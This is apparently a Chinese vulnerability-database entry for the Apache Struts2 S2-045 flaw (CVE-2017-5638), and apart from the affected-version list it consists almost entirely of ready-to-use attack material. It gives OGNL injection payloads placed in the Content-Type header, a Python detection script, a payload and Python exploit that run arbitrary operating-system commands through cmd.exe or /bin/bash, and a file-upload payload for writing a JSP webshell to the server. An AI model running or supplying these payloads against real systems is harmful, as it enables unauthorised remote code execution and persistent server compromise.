Struts2 S2-045远程代码执行

—
title: ‘Struts2 S2-045远程代码执行’
date: Mon, 24 Aug 2020 14:20:54 +0000
draft: false
tags: [‘白阁-漏洞库’]
—

### 影响范围

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

#### 漏洞验证POC

“`
Content-Type:%{(#test=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}
“`


#### 漏洞验证EXP

“`
import requests
import sys
import httplib
def poc(url):
httplib.HTTPConnection._http_vsn_str=’HTTP/1.0′
payload = “%{(#test=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}”
headers = {}
headers[“Content-Type”] = payload
r = requests.get(url, headers=headers)
if “105059592” in r.content:
return True
return False

if __name__ == ‘__main__’:
if len(sys.argv) == 1:
print “python s2-045.py target”
sys.exit()
elif poc(sys.argv[1]):
print “vulnerable”
else:
print “not vulnerable”
“`


#### 命令执行POC

“`
Content-Type:%{(#nike=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’whoami’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
“`


#### 命令执行EXP

“`
#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib

def exploit(url, cmd):
payload = “%{(#_=’multipart/form-data’).”
payload += “(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).”
payload += “(#_memberAccess?”
payload += “(#_memberAccess=#dm):”
payload += “((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).”
payload += “(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).”
payload += “(#ognlUtil.getExcludedPackageNames().clear()).”
payload += “(#ognlUtil.getExcludedClasses().clear()).”
payload += “(#context.setMemberAccess(#dm)))).”
payload += “(#cmd=’%s’).” % cmd
payload += “(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).”
payload += “(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).”
payload += “(#p=new java.lang.ProcessBuilder(#cmds)).”
payload += “(#p.redirectErrorStream(true)).(#process=#p.start()).”
payload += “(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).”
payload += “(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).”
payload += “(#ros.flush())}”

try:
headers = {‘User-Agent’: ‘Mozilla/5.0’, ‘Content-Type’: payload}
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
page = e.partial

print(page)
return page

if __name__ == ‘__main__’:
import sys
if len(sys.argv) != 3:
print(“[*] struts2_S2-045.py “)
else:
print(‘[*] CVE: 2017-5638 – Apache Struts2 S2-045’)
url = sys.argv[1]
cmd = sys.argv[2]
print(“[*] cmd: %s\n” % cmd)
exploit(url, cmd)
“`


#### GetShell POC（文件上传）

GET包修改为POST，添加参数?f=a.jsp，内容为想要上传的内容即可。

“`
_multipart/form-data%{(#o=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o):((#c=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#g=#c.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#f=new java.io.File(#req.getRealPath(‘/’),#req.getParameter(‘f’))).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),new java.io.FileOutputStream(#f)))}
“`